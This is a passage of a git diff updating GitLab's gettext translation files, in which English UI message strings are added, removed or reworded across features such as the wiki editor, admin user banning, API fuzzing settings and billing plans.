-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/ba_RU/gitlab.po b/locale/ba_RU/gitlab.po
index 5e23e81d90f..eac0944b66c 100644
--- a/locale/ba_RU/gitlab.po
+++ b/locale/ba_RU/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ba\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:16\n"
+"PO-Revision-Date: 2021-06-01 20:30\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -230,6 +230,10 @@ msgid "%d issue successfully imported with the label"
msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -487,9 +491,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -592,10 +593,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -732,6 +733,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -779,9 +786,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -886,9 +890,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -952,9 +962,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1260,6 +1267,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1281,6 +1291,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1350,9 +1363,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1365,6 +1375,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1410,9 +1423,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1452,30 +1462,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1491,7 +1495,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1518,6 +1522,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1785,6 +1798,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2061,6 +2077,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2226,9 +2245,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2241,9 +2257,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2268,9 +2281,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2316,6 +2326,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2334,6 +2347,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2382,6 +2398,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2412,6 +2443,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2466,6 +2500,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2547,6 +2584,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2562,6 +2608,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2574,6 +2626,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2598,6 +2653,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2610,6 +2668,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2655,9 +2716,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2695,9 +2753,6 @@ msgid "Alert"
msgid_plural "Alerts"
msgstr[0] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3067,9 +3122,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3172,6 +3224,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3385,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3478,9 +3536,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3550,7 +3605,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4019,6 +4074,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4049,16 +4107,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4634,7 +4689,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4703,6 +4758,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4859,6 +4917,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4877,6 +4938,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -4892,6 +4956,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -4910,6 +4977,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
